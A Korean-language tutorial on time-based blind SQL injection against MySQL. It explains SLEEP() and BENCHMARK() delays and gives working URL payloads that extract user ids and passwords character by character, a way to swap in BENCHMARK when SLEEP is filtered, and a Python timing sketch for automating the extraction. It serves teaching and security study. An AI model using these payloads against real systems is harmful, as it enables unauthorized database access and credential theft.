Time-based SQL Injection

2017.1.30. 문시우 (ehdtldn@naver.com)

목차

[*] 문서와 Time-based SQL Injection 소개

이 문서는 Time-based SQL Injection을 배우고자 하는 사람들을 위한 문서로, Time-based SQL Injection에 대한 전반적인 느낌을 배울 수 있도록 작성한 문서다. 완전히 익히지는 못하더라도 느낌이라도 배워갔으면 좋겠다.

Time-based SQL Injection은 시간-기반 SQL Injection이란 뜻으로 SQL에서 Time-operation 함수를 이용한 SQL Injection을 통틀어 말한다. 대부분 Blind SQL Injection으로 데이터 확인, 추출 용도로 Injection 한다.

[*] 기본적인 Time-based SQL Injection 예시

Query : SELECT id FROM `users` WHERE id='$id';
여기서 $id가 injection point고, 목표는 테이블에 있는 id를 가져오는 것이다. 물론 방법은 많다. 하지만 아무런 결과도 출력해주지 않는 상황이라면 Time-based SQL Injection을 통한 해결이 가능하다.

?id=' or id like 'a%' and sleep(2) like 0 limit 1--
?id=' or id like 'ad%' and sleep(2) like 0 limit 1--
?id=' or id like 'adm%' and sleep(2) like 0 limit 1--
?id=' or id like 'admi%' and sleep(2) like 0 limit 1--
?id=' or id like 'admin%' and sleep(2) like 0 limit 1--

sleep() 함수에 대한 설명은 다음에서 설명한다.

[*] 시간 지연을 위한 Time-operation function

- mysql에서 시간을 지연시키는 sleep함수

MySQL에서 사용 가능한 함수는 대표적으로 sleep함수가 있다.

SLEEP(duration) : duration만큼 지연된다.(초단위)
ex) SLEEP(5) = 5초 동안 지연
반환 값은 정상적으로 지연됐다면 0을 반환한다.
만약 도중에 일시 정지(interrupt)가 되면 1을 반환한다.
* 지연 시간은 레코드 당 지연된다.

ex) Query : select id from `users` where id like 'a%' and sleep(2)=0--
이렇게 Query를 했을 때 레코드가 2개가 나왔다면 총 지연시간은 4초다.

Query : select sleep(2), 1=1 and sleep(2), 1=2 and sleep(2);

(1 합계, 질의 실행시간 4.0010 초)

sleep(2)	1=1 and sleep(2)	1=2 and sleep(2)
0	0	0

"sleep(2)"에서 2초를 지연시키고 0을 반환.
"1=1 and sleep(2)"에서 2초를 지연시키고 0을 반환. 밑에는 설명이다.
(1=1이 참이기 때문에 sleep이 실행 되서 2초를 지연시키고 0을 반환)
"1=2 and sleep(2)"에서는 1=2이 거짓이기 때문에 sleep이 실행되지 않음.

2개의 레코드에서 각각 2초씩 지연시켜서 총 4초를 지연시킨 뒤 출력.

- sleep함수를 SQL Injection에서 쓰는 방법

이건 SQL Injection 환경마다 다르기 때문에 상황마다 다르지만
기본적인 예시는 아까 다뤘던 예시와 같다. 아래는 users 테이블이다.

Table name : users		
id	pw	name
zxcdqwe	dasddd2155	hacker
admin	adminadmin1234	superadmin

Query : SELECT id FROM `users` WHERE id="{$_GET['id']}";

ex)

?id=" or 1 and sleep(1)-- (실행 시간으로 레코드 개수 파악 가능)
?id=" or pw like 'a%' and sleep(1)-- (blind sqli로 pw 추출 가능)
?id=bbb" and sleep(1)-- (sleep이 걸리지 않음)

마지막 예시를 보면 sleep(1)이 실행되지 않는다.
이는 and 연산자를 알면 이해 할 수 있다.
bbb라는 id를 가진 레코드가 없기 때문에 id="bbb" 여기서부터 거짓이다.
그렇기 때문에 and 다음에 나오는 sleep함수가 실행되지 않는 것이다.
* and 특성상 한 개라도 거짓이면 false(0)를 반환한다.

굳이 Time-based SQL Injection이 필요 없는 상황에서
Time-based SQL Injection을 사용할 필요는 없으니 상황에 맞게 사용하자.

- sleep 함수가 필터링 당했을 때의 우회 방법

그렇다면 sleep함수가 막혔을 때는 어떻게 해야 할까?
benchmark함수가 sleep함수를 대체할 수 있다.
BENCHMARK(count, expr) : expr을 count횟수만큼 반복 실행한다.
* benchmark함수는 항상 0을 반환한다.

Query : select benchmark(2000000,MD5('munsiwoo'));

(1 합계, 질의 실행시간 2.8350 초)

benchmark(2000000,MD5('munsiwoo'))
0

위와 같이 MD5('munsiwoo')를 2000000번 실행하면서
연산이 오래 걸리는 점을 이용해서 sleep함수 대신 사용한 것이다.

그럼 sleep, benchmark 둘 다 필터링 할 땐 어떻게 해야 할까?
그럴 땐 benchmark처럼 연산이 오래 걸리는 Query를 보내주면 된다.

[*] Time-based blind SQL Injection

Python에서
time모듈의 time함수를 이용해서 시간지연 여부를 파악할 수 있다.

ex) import time
time1 = time.time() # 현재 시간이 들어가고
[request code]
[get response code]
time2 = time.time() # request, response를 거친 시간이 들어간다.

여기서 time2-time1이 2보다 크다면 request, response 하는데
약 2초가 지났다는 것이다. 그 소리는 time-operation 함수가 작동했다는 것.
이렇게 time모듈의 time함수를 이용해 시간지연 여부 파악이 가능하다.
ex) if((time2-time1)>2)

이와 같은 방법을 이용해서 스크립트 작성이 가능하다.
* 물론 다른 방식이 존재한다. 쓰기 편한 걸 사용하면 된다.

[*] 마침

이렇게 Time-based SQL Injection에 대해서 깊게는 아니더라도
대략 Time-based SQL Injection이 뭔지는 감이 잡혔길 바란다.

이 문서에 대한 모든 피드백은 ehdtldn@naver.com 로 받는다.